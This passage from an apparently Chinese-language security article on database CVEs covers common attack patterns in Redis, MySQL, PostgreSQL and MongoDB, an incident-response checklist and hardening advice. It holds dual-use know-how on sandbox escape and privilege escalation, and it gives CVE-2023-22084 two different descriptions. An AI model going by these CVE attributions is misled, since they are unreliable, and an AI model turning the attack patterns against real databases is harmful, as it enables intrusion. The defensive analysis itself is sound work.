with open(args. output, 'w' , encoding= 'utf-8' ) as f:
f. write(report_json)
log('SUCCESS' , f '报告已保存至: { args. output} ' )
if __name__ == '__main__' :
main() 0x0D 共性攻击模式分析 通过对上述七个 CVE 以及经典数据库漏洞的深入分析,可以归纳出以下共性攻击模式:
模式一:沙箱/隔离机制缺陷 Redis Lua 沙箱逃逸(CVE-2022-24735)是典型案例。数据库系统为安全性引入的脚本引擎或隔离机制,往往因为实现不完整而成为攻击入口。沙箱的边界定义模糊、元编程能力未被充分限制,是这类漏洞的根本原因。
模式二:权限模型缺陷 PostgreSQL 权限提升(CVE-2023-5868)反映了数据库权限模型的复杂性。当权限检查分散在多个代码路径中时,容易出现遗漏。低权限用户通过组合多个看似安全的操作,可以实现权限的阶梯式提升。
模式三:内存安全漏洞 MySQL 的缓冲区溢出(CVE-2023-22084)和内存损坏(CVE-2023-21980)属于经典的内存安全漏洞。C/C++ 编写的数据库内核在处理外部输入时,边界检查不充分,导致堆溢出或 Use-After-Free。
模式四:协议层信任过度 MongoDB TLS 证书验证绕过(CVE-2023-37480)和 MySQL 复制协议漏洞(CVE-2023-22084)都源于对协议层通信的过度信任。数据库系统假设内网通信是安全的,忽略了中间人攻击和协议层注入的可能性。
模式五:拒绝服务攻击面 MySQL 核心组件 DoS(CVE-2023-21977)和优化器 DoS(CVE-2024-21008)表明,SQL 查询的复杂性为攻击者提供了丰富的 DoS 攻击面。复杂的 JOIN、子查询、窗口函数组合可以触发优化器或执行引擎的异常路径。
模式六:默认配置不安全 Redis 未授权访问是最典型的默认配置不安全案例。数据库系统为了降低使用门槛,默认配置往往偏向便利性而非安全性,导致大量生产实例暴露在风险之中。
0x0E 应急排查清单 紧急措施(发现入侵后 30 分钟内执行) Redis 紧急处置
立即执行 CONFIG SET requirepass <强密码> 启用认证 执行 CONFIG SET rename-command EVAL "" 禁用 EVAL 命令 检查 CONFIG GET bind 确认未绑定到 0.0.0.0 检查 /tmp、/root/.ssh/ 等目录是否存在异常写入文件 使用 CLIENT LIST 检查异常连接 MySQL 紧急处置
检查 SELECT user, host, Super_priv FROM mysql.user 排查异常超级用户 检查 SHOW PROCESSLIST 排查异常长查询和复制连接 执行 SELECT * FROM mysql.plugin 检查异常 UDF 加载 检查 secure_file_priv 和 local_infile 配置 审查 binlog 排查异常数据操作 PostgreSQL 紧急处置
执行 SELECT usename, usesuper FROM pg_user 排查权限异常 检查 pg_hba.conf 中的访问控制规则 审查 pg_log 中的异常 SQL 执行记录 MongoDB 紧急处置
检查 TLS 证书配置,确认 SAN 字段验证已启用 审查 MongoDB 审计日志中的异常连接 检查 db.system.users.find() 排查异常用户 排查清单(完整排查流程) 排查项 具体操作 优先级 Redis 版本确认 redis-cli INFO server | grep redis_versionP0 Redis 认证状态 redis-cli CONFIG GET requirepassP0 Redis 绑定地址 redis-cli CONFIG GET bindP0 Redis Lua 沙箱 执行 CVE-2022-24735 检测 PoC P0 MySQL 版本确认 SELECT VERSION()P0 MySQL 用户审计 SELECT user,host,Super_priv,File_priv FROM mysql.userP0 MySQL UDF 检查 SELECT * FROM mysql.funcP1 MySQL 复制状态 SHOW SLAVE STATUSP1 MySQL 插件目录 SHOW VARIABLES LIKE 'plugin_dir' + 文件系统检查P1 PostgreSQL 用户权限 SELECT usename,usesuper FROM pg_userP1 PostgreSQL 版本 SELECT version()P1 MongoDB TLS 配置 检查 net.tls 配置节 P1 MongoDB 用户审计 db.getUsers()P2 网络流量分析 检查数据库端口的外部连接 P1 系统日志审查 /var/log/auth.log、/var/log/secureP2
0x0F 修复建议 Redis 修复方案 立即升级至安全版本 :Redis >= 7.0.12 / >= 6.2.14 / >= 5.0.18启用密码认证 :在 redis.conf 中设置 requirepass <强密码>限制网络访问 :设置 bind 127.0.0.1 或使用防火墙规则限制 6379 端口访问禁用危险命令 :通过 rename-command 禁用或重命名 EVAL、CONFIG、DEBUG、FLUSHALL 等命令启用 ACL 机制 :Redis 6.0+ 使用 ACL 细粒度控制用户权限部署在安全网络 :使用 VPC 或专用网络隔离 Redis 实例MySQL 修复方案 应用最新安全补丁 :安装 Oracle 最新 CPU 补丁最小权限原则 :审查所有数据库用户权限,移除不必要的 SUPER、FILE、PROCESS 权限限制文件操作 :设置 secure_file_priv=/tmp/mysql_files 和 local_infile=OFF禁用 UDF 加载 :设置 --secure-file-priv 限制动态库加载路径加密复制通道 :配置 MySQL 复制使用 TLS 加密查询超时设置 :设置 max_execution_time 防止 DoS 查询审计日志 :启用 audit_log 插件记录所有敏感操作PostgreSQL 修复方案 升级至安全版本 :应用最新小版本更新审查 SECURITY DEFINER 函数 :检查所有使用 SECURITY DEFINER 的函数限制 pg_catalog 访问 :收紧系统目录表的访问权限启用行级安全 :对敏感表启用 Row-Level Security(RLS)连接加密 :强制所有连接使用 SSL/TLSMongoDB 修复方案 升级至安全版本 :应用 MongoDB 最新补丁强制 TLS 证书验证 :确保 tlsAllowInvalidCertificates 设置为 false启用访问控制 :配置 authorization: enabled网络隔离 :使用 bindIp 限制监听地址审计日志 :启用 MongoDB 审计功能记录所有操作0x10 参考资料 Redis Security Advisories - CVE-2022-24735: https://github.com/redis/redis/security/advisories/GHSA-jwv8-7cpr-rx9j CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog PostgreSQL Security Releases - CVE-2023-5868: https://www.postgresql.org/support/security/CVE-2023-5868/ Oracle Critical Patch Update Advisory - October 2023: https://www.oracle.com/security-alerts/cpuoct2023.html Oracle Critical Patch Update Advisory - January 2024: https://www.oracle.com/security-alerts/cpujan2024.html MongoDB Security Advisories - CVE-2023-37480: https://www.mongodb.com/community/forums/t/mongodb-security-advisory/237261 NVD - National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-24735 Redis 未授权访问漏洞分析: https://cloud.tencent.com/developer/article/1505572 MySQL UDF 提权利用与防御: https://www.anquanke.com/post/id/283885 PostgreSQL COPY 命令安全风险分析: https://www.postgresql.org/docs/current/sql-copy.html